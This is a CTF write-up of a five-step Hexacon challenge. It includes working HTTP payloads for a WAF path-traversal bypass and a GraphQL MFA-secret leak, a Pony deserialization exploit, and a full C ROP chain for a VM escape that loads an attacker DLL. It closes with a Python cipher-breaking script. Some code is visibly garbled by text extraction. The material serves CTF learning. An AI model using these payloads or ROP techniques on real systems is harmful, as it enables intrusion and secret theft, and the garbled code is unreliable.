Write-up of Hexacon challenge
step1
The goal is to find the backdoor in one of the challenge. Only on non-trivial challenge is in the files: games300. I didn’t really know where to look as for me the function that gives the flag is the last place to look at: given the nature of the challenge, it is a function that is never meant to be executed, but rather studied statically. Thus, the backdoor will probably never trigger and it is extremely likely that someone will find it.
The way I solved game300 is searching on with Google where the
scoreboard is stored, and I saw it is in the nvram, so I looked at
nvram_write
.
step 2
The web application is composed of 3 parts:
front(nginx) -> Waf (express) -> backend (express)
The goal is first to bypass the waf to read /_dev/gql on the backend.
Only one URL in the WAF use data fully controlled by the user, so I focused on it:
.get('/:uid/files/:filename', async function (req, res, next) {
routerlet uid = req.params.uid;
let filename = req.params.filename;
if (!new RegExp('^[a-fA-F0-9]{8}-[a-fA-F0-9]{4}-[a-fA-F0-9]{4}-[a-fA-F0-9]{4}-[a-fA-F0-9]{12}$').test(uid)) {
return res.send({
error: true,
message: "Share uid is not valid."
;
})
}let url = utils.createBackendUrl(
makeShareFileRoute(uid, filename));
...]
[
}
function makeShareFileRoute(shareUuid, name) {
let sanitizedFilename = path.basename(name);
return shareFileRouteTpl.replace(':uuid:', shareUuid)
.replace(':filename:', sanitizedFilename);
}
.exports = {
modulecreateBackendUrl: function (uri, query = '') {
let host = config.BACKEND_HOST;
let port = config.BACKEND_PORT;
//FIXME I'm lazy
//normalize path to remove double slashes not handled by express
return `http://${host}:${port}${path.normalize('/' + uri)}?${query}`;
}; }
I used a feature of the function replace
to get a path
traversal: special variables that starts with ‘$’. I was stuck for a
long time on this, I found it by bfing all combination of couple of
bytes in the URL.
How we can access to /_dev/gql with:
/rest/shares/699157cb-6103-4900-957c-2a515c380793/files/..$'..$'..$'_dev$'gql
Now we need to access to a expired link with this access to GQL endpoint. We need to used a feature of the app that allows someone to give access to a share they own.
First thing to do is then to find the ID of the share of our file. We
can do it with the request
{fileShare(shareLink:"917a21561b01ce0ff51a064e2362d2c3070192809a3170755d1f385925d8185ee2f8ae9d3d9ab8c172e9324aae6d9807",fileId:"ef676bd0-d321-40ae-b7e5-f5a88dd2a77b"){share{id}}}
.
Then, we need to find the ID of the owner. It’s not possible with a GQL request, but the public API allows that. Result is:
"share":{"id":"332dd074-60f4-4419-9f3c-28fd302acc86","owner":"f720ccfb-3748-4ac0-9bd3-62217692513d","name":"SecretStealerShare","link":"917a21561b01ce0ff51a064e2362d2c3070192809a3170755d1f385925d8185ee2f8ae9d3d9ab8c172e9324aae6d9807","isPublic":true,"validUntil":"2022-06-11T20:54:49.000Z","files":[{"id":"25eb03e5-b116-49b1-a877-206fb095e50a","name":"flag.txt"},{"id":"ef676bd0-d321-40ae-b7e5-f5a88dd2a77b","name":"payload.bin"}],"availableFor":[{"id":"96bdcb73-eae1-45e6-b4b6-b6b564fdb939"}]}
Now there is two ways to give access to a given share to a given
user. First is with the public API, but we need to be owner of the
share, second is with the GQL endpoint, but then we need the
mfa_secret
of the owner of the share to generate an OTP.
Problem is that almost all requests that return a User
(with a IUser
reference) cast the object in
PublicUser
, that doesn’t contains the
mfa_secret
field. However, it is not casted in the error
path of giveAccess
request:
if (!isOtpValid) {
return {
owner: share.getUser(), <== here
share: lookupShare(share),
success: false,
message: "OTP invalid"
}
Normally, we need to use a POST request to do a mutation, which
giveAccess
is, but here we can only use GET or DELETE.
Luckily, with the methodoveride
we can use whatever we want
and then we get the mfa_secret
as such:
DELETE /rest/shares/699157cb-6103-4900-957c-2a515c380793/files/..$'..$'..$'_dev$'gql%3f_method=POST&query=mutation{giveAccess(id:"332dd074-60f4-4419-9f3c-28fd302acc86",otp:"fufu",username:"hhhhh"){owner{...%20on%20User{mfa_secret}}}}%23
That give us the secret:
{"data":{"giveAccess":{"owner":{"mfa_secret":"HFCV45YGFUDDGHDEEYYAQRKIDZJXSPT2HELAWZTVPAQB22CVEVSQ"}}}}
We can now generate an OTP and use the giveAccess
request to give us access to the share:
DELETE /rest/shares/699157cb-6103-4900-957c-2a515c380793/files/..$'..$'..$'_dev$'gql%3f_method=POST&query=mutation{giveAccess(id:"332dd074-60f4-4419-9f3c-28fd302acc86",otp:"303600",username:"hhhhh"){success}}%23 HTTP/2
step3
For this step we needed to reverse a webserver in ponylang that allows to upload files with a specific route. Data that are sent when files are uploaded this way are serialized pony strings. We can then find a big vulnerability in the deserialization process.
// Turn the type id into a descriptor pointer.
uintptr_t id = *(uintptr_t*)((uintptr_t)ctx->serialise_buffer + offset);
= desc_table[id]; t
As we control the data, we can make t
point to arbitrary
address. It normally points to a pony_type that contains a pointer to a
deserialization function that will be called juste after this
function.
I found two leak: The object sent is a string, that contains 2 size
fields and a field offset
that is the start of the data of
the string in the process. First size field is size to read, and second
size of allocated data. If the first is superior to the second, the
string will contains data AFTER the allocated buffer, that we can read
by downloading the file.
If we put offset
to a big size there is also a
vulnerability:
if((offset + t->size) > ctx->serialise_size)
{
(ctx);
serialise_cleanup->serialise_throw();
ctx();
abort}
(object, (void*)((uintptr_t)ctx->serialise_buffer + offset), t->size); memcpy
If offset
is big enough, a int overflow allows us to
pass the check and we can leak data BEFORE the allocated buffer.
To exploit the vulnerability, we need to find the address of a pointer that points to data we control.
My idea is to send another type of object than a string to the
server. At first I used Array<string>
but all strings
pointers were in the same C array, so contiguous in memory. I then used
a Array<Array<string>>
, an array of multiple
array of only 1 string. This way a lot of objects that hold a pointer to
a string objects were allocated in different place. I was a able to leak
such a pointer around 1/5 times.
Next step is to pivot and make a ropchain. For pivoting it is pretty
easy because first pointer on the stack points to the payload I send to
the server, so a gadget like pop rsp, pop XXX, [...] ret
works well. The ropchain is then very simple because rsi
also points to this payload, so I used a few gadgets that makes
rdi
points to rsi+X
then call
system
.
step4
For this step I didn’t found the arb read, I only used the double fetch vulnerability. The goal is to leak the cookie and use the double fetch to write a ropchain on the stack.
Here is the vulnerable code:
= this->multi_work_item->size; [1]
size if ( size <= 0x400 )
{
= v11;
v2 }
else
{
= operator new[](size);
v4 if ( v4 )
{
(v4, 0, size);
memset= (char *)v4;
v6 }
else
{
= 0i64;
v6 }
= v6;
v2 }
if ( v2 )
{
::CopyDataFromGuest((Device *)this->device, v2, this->multi_work_item->data, this->multi_work_item->size);[2]
Device= ComputeCRC32(v2, this->multi_work_item->size);[3] v3
The idea is to make a thread in the vm that change the size field between 0x400 and a larger size. If the change happens between [1] and [2], then we have a stack buffer overflow. If the change happens between [2] and [3], then the CRC is calculated on data on the stack that are after the buffer. As the new CRC is written in shared memory, we can read it in the guest. By repeating this operation byte by byte, we can have a leak.
leak
We have to leak more than the cookie, we want to leak also the return
address to get the base address of pci_device.dll
, and also
the this pointer that is on the stack.
So what we do is that we setup a MultiCopy of a file of size 0x400, but the memory I mapped is more than 0x400 and the data is followed by 0xff bytes. It is because we have to detect the case when the change of the size happens before [1], in this case more than 0x400 will be copied in the heap and the CRC will be calculated on those data.
After the copy, we check all the CRCs. If a CRC is different than the CRC of the file (0x400) or the CRC of the file followed by 0xff (case when the data is copied in the heap), then we have a leak, we can then bruteforce the byte after.
In practice though, we actually bruteforce 2 bytes. Also, we have a few different cases to check if a previous leak has resulted in writing data on the stack. Indeed, even if the cookie is rewritten by 0xff because of the stack overflow vuln, it’s not a problem because threads do not return from the function until we put “ABORT” in the status of the device, se we can put the good cookie on the stack again in a later copy.
Problem is that the this
pointer mustn’t be rewritten by
the vulnerability, so the exploit can fail here. There is also the cases
when a write happen before a leak, data are loss and it’s impossible to
recover. There are also some case where I got a CRC that I don’t
understand how it is calculated. There are some part of the pointers we
need that never change (for example LSBs of the return address, or MSBs
of pointers), so I was able to reduce the number of leaks to perform to
8 couples of bytes.
I found that on the test environment by using 6 threads we had a lot more leaks than copies, and with 1 thread it’s the opposite. Sadly on the target environment leaks are not that stable.
ropchain
The goal is to load a dll that we send by using the device normally,
because LoadLibraryEx is in the leaked dll. We need to get the name of
the file before loading it. For that we use FindFirstFileEx (the one
that takes 6 args) that is also in pci_device.dll
, to list
the file that ends in “.raw” There is a chance that there is already
.raw files in the directory, but we can just send a lot of times the dll
to be almost guaranteed to get our dll in the first file listed.
Luckily the x86_64 call convention on Windows use the stack, so it’s
easier to make a call with 6 arguments, we only need to set
rcx
, rdx
, r8
and r9
.
RCX
and RDX
have perfect gadgets but it’s a
bit more tricky for R8 and R9.
We also need to copy some strings in data from the stack, but luckily we have the perfect gadget for that:
0x000eb19: lea rax, qword [rsp+0x00] ; mov rdi, qword [rsp+0x30] ; mov rsi, rax ; mov ecx, 0x10 ; rep movsb ; mov rax, qword [rsp+0x30] ; add rsp, 0x18 ; pop rdi ; pop rsi ; ret
Here is the ropchain with the all the gadgets:
0x00b343e: pop r15 ; ret ;
0x0010b9d: pop rcx ; ret ;
0x0010abd: pop rdx ; ret ;
0x008ac9b: sub r8d, ecx ; mov eax, r8d ; ret ;
0x009b3f3: inc ecx ; mov r8, rcx ; cmp r9, rdx ; jne 0x000000018009B3E6 ; mov rax, r8 ; ret ;
0x00529e2: mov rdx, rax ; mov rax, rdx ; add rsp, 0x28 ; ret ;
0x000eb19: lea rax, qword [rsp+0x00] ; mov rdi, qword [rsp+0x30] ; mov rsi, rax ; mov ecx, 0x00000010 ; rep movsb ; mov rax, qword [rsp+0x30] ; add rsp, 0x18 ; pop rdi ; pop rsi ; ret
0x0001258: add rsp, 0x18 ; ret ;
0x18007c3c4: mov rax, qword [rcx] ; ret ;
0x180047207: add rax, rcx ; ret ;
0x18004c853: mov r8, rdx ; mov qword [rcx+0x08], r8 ; mov rax, rcx ; ret ;
0x1800a89a3: mov r9, rdx ; mov r10, rcx ; cmp r8d, [rcx] ; je 0x00000001800A89B1 ; mov al, 0x01 ; ret ;
0x18007e3c2: add rsp, 0x38 ; ret ;
0x1800b5d3b: pop rdi ; ret ;
0x1800b6c21: pop rsi ; ret ;
0x180045d9b: rep movsb ; pop rsi ; pop rdi ; ret ;
0x18009ac87: mov qword [rcx], rdx ; ret ;
0x1800ba37a: ret ;
*/
#define ADD_RSP 0x0001258
#define POP_R15 0x00b343e
#define POP_RCX 0x0010b9d
#define POP_RDX 0x0010abd
#define SUB_R8 0x08ac9b
#define COPY_STR 0x000eb19
#define INC_FU 0x09b3f3
#define MOV_RAX 0x07c3c4
#define ADD_RAX 0x047207
#define MOV_R8 0x04c853
#define MOV_R9 0x0a89a3
#define ADD_RSP38 0x7e3c2
#define POP_RDI 0x0b5d3b
#define POP_RSI 0xb6c21
#define REP_MOVSB 0x45d9b
#define MOV_QWRCX 0x9ac87
#define RET 0xba37a
#define OFFSET_LOADLIB 0xb6c6b
#define OFFSET_ADDR_NAME 0xe2500
#define OFFSET_LEAK 0xec18
#define OFFSET_SLEEP 0x45AF0
#define OFFSET_FINDFF 0xb6d3d
struct leak
{
uint64_t cookie;
uint64_t pad1;
uint64_t pad2;
uint64_t pci_device_leak;
uint64_t device_ptr;
};
uint64_t ropchain[0x500] = {0};
void fill_ropchain(struct leak* l, char *filename)
{
uint64_t lib_base = l->pci_device_leak - OFFSET_LEAK;
uint64_t addr_name = lib_base + OFFSET_ADDR_NAME;
uint64_t load_library = lib_base + OFFSET_LOADLIB;
uint64_t *rr;
("lib base: %p\n",lib_base);
printf("addr_name : %p\n", addr_name);
printf("load lib : %p\n",load_library);
printf
= ropchain;
rr *rr++ = l->cookie;
*rr++ = 0;
*rr++ = 0;
*rr++ = lib_base + POP_RDX;
*rr++ = l->device_ptr;
*rr++ = lib_base + POP_RCX;
*rr++ = addr_name - 0x20;
*rr++ = lib_base + MOV_QWRCX;
*rr++ = lib_base + RET;
//*rr++ = 0xff;
//copy L"C:\exploits\*.raw" in data
*rr++ = lib_base + COPY_STR;
(rr, filename, 0x10);
memcpy++;
rr++;
rr++;
rr*rr++ = 0xfe;
*rr++ = 0xf5;
*rr++ = lib_base + ADD_RSP;
*rr++ = addr_name;
*rr++ = 0xff;
*rr++ = 0xff;
*rr++ = lib_base + COPY_STR;
(rr, filename+0x10, 0x10);
memcpy++;
rr++;
rr++;
rr*rr++ = 0xfe;
*rr++ = 0xf5;
*rr++ = lib_base + ADD_RSP;
*rr++ = addr_name + 0x10;
*rr++ = 0xff;
*rr++ = 0xff;
*rr++ = lib_base + COPY_STR;
(rr, filename+0x20, 0x10);
memcpy++;
rr++;
rr++;
rr*rr++ = 0xfe;
*rr++ = 0xf5;
*rr++ = lib_base + ADD_RSP;
*rr++ = addr_name + 0x20;
*rr++ = 0xff;
*rr++ = 0xff;
//setup r8
*rr++ = lib_base + POP_RCX;
*rr++ = addr_name + 0x50;
*rr++ = lib_base + POP_RDX;
*rr++ = addr_name + 0x50;
*rr++ = lib_base + MOV_R8;
//setup r9
*rr++ = lib_base + POP_RCX;
*rr++ = addr_name + 0x100;
*rr++ = lib_base + POP_RDX;
*rr++ = 0;
*rr++ = lib_base + MOV_R9;
*rr++ = lib_base + POP_RCX;
*rr++ = addr_name;
*rr++ = lib_base + POP_RDX;
*rr++ = 0;
//call FindFirstFile, that will put the name of the first found file in data, at an known address
*rr++ = lib_base + OFFSET_FINDFF;
*rr++ = lib_base + ADD_RSP38;
*rr++ = 0;
*rr++ = 0;
*rr++ = 0;
*rr++ = 0;
*rr++ = 0;
*rr++ = 0;
*rr++ = 0;
//memcpy the name in the correct place so we have C:\exploits\name.raw somewhere in data
*rr++ = lib_base + POP_RCX;
*rr++ = 0x20;
*rr++ = lib_base + POP_RDI;
*rr++ = addr_name + 0x18;
*rr++ = lib_base + POP_RSI;
*rr++ = addr_name + 0x7c;
*rr++ = lib_base + REP_MOVSB;
*rr++ = 0xff;
*rr++ = 0xff;
//set r8 to 0 for loadlib
*rr++ = lib_base + POP_RCX;
*rr++ = addr_name + 0x100;
*rr++ = lib_base + POP_RDX;
*rr++ = 0 ;
*rr++ = lib_base + MOV_R8;
*rr++ = lib_base + POP_RCX;
*rr++ = addr_name;
*rr++ = lib_base + POP_RDX;
*rr++ = 0;
//call LoadLibrary
*rr++ = load_library;
*rr++ = lib_base + POP_RDX;
*rr++ = 0xffffff;
*rr++ = lib_base + OFFSET_SLEEP; // doesn't work but not needed
}
step 5
I used pyinstxtractor to get the pyc (struggling because as a mofo I didnd’t read the output of pyinstxtractor saying to use python 3.7 and they changed the marshal format after 3.7). I used uncompyle to decompile the code that encrypt the data.
The code is a modified LEA that only use xor instead of modular addition. We don’t have the key, but we have a few pairs (plaintext,ciphertext). The consequence is that as a round is only composed of rotation and xor, and rotation is distributive on xor (Rot_x(A \oplus B) = Rot_x(A) \oplus Rot_x(B)), we can compute the transformation of input and keys separately and xor them at the end.
Now there is probably an elegant formal way to write the solution but
basically if we compute the 24 rounds only with the schedule keys
(encrypt_K
in the full script below) that we call Ke = E_k(K) and 24 rounds of the input part
only(encrypt_PT
) that we call Pe
= E_p(P), we can find the output of the algorithm by xoring those
values (C = Ke \oplus Pe).
Now with a pair (P,C), a target encrypted block C_t and the target decrypted block that we want to retrieve P_t , we have Pe = E_p(P)
C_t = Ke \oplus E_p(P_t) C = Ke \oplus Pe \iff Ke = C \oplus Pe Thus we have C_t = Ke \oplus E_p(P_t) \iff C_t = (C \oplus Pe) \oplus E_p(P_t) \iff E_p(P_t) = (C \oplus Pe) \oplus C_t
As we have C, Pe and C_t,
we now have E_p(P_t). E_p^{-1}(P_t) is easily computable and
implemented in _decrypt_block_PT
.
Here is my python script:
from datetime import date
from glob import glob
from os import remove
def bytes_to_words(b):
return [int.from_bytes(b[i:i + 4], 'little') for i in range(0, len(b), 4)]
def words_to_bytes(w):
return (b'').join([i.to_bytes(4, 'little') for i in w])
def rotate_left(x, n):
return x << n & 4294967295 | x >> 32 - n & 4294967295
def rotate_right(x, n):
return x << 32 - n & 4294967295 | x >> n & 4294967295
def pad(b):
= 16 - len(b) % 16
padding return b + padding * bytes([padding])
class LEA:
def __init__(self, key):
self.deltas = (3287280091, 1147300610, 2044886154, 2027892972, 1902027934,
3347438090, 3763270186, 3854829911)
self.round_keys = self._key_schedule(key)
def _encrypt_block_PT(self, block):
= bytes_to_words(block)
state for i in range(24):
= state[:]
old_state 0] = rotate_left(old_state[0] ^ old_state[1], 9)
state[1] = rotate_right(old_state[1] ^ old_state[2], 5)
state[2] = rotate_right(old_state[2] ^ old_state[3], 3)
state[3] = old_state[0]
state[#print(state)
return state
def _decrypt_block_PT(self, pp):
= pp
state for i in reversed(range(24)):
= state[:]
old_state 0] = old_state[3]
state[1] = rotate_right(old_state[0],9) ^ state[0]
state[2] = rotate_left(old_state[1],5) ^ state[1]
state[3] = rotate_left(old_state[2],3) ^ state[2]
state[return words_to_bytes(state)
= open("unpack2/0day.py.enc","rb").read()
final_enc = open("unpack2/test.py.raw~","rb").read()[:16]
PT = open("unpack2/test.py.enc","rb").read()[:16]
CT = lea._encrypt_block_PT(PT)
pp = [x ^ y for x,y in zip(bytes_to_words(CT),pp)]
kk
= b""
res for i in range(4):
= final_enc[i*16:(i+1)*16]
block = [x ^ y for x,y in zip(bytes_to_words(block),kk)]
pp += lea._decrypt_block_PT(pp)
res
print(res)
The challenge was really fun, thank you to the authors for the massive work you put in the challenge, that was worth it.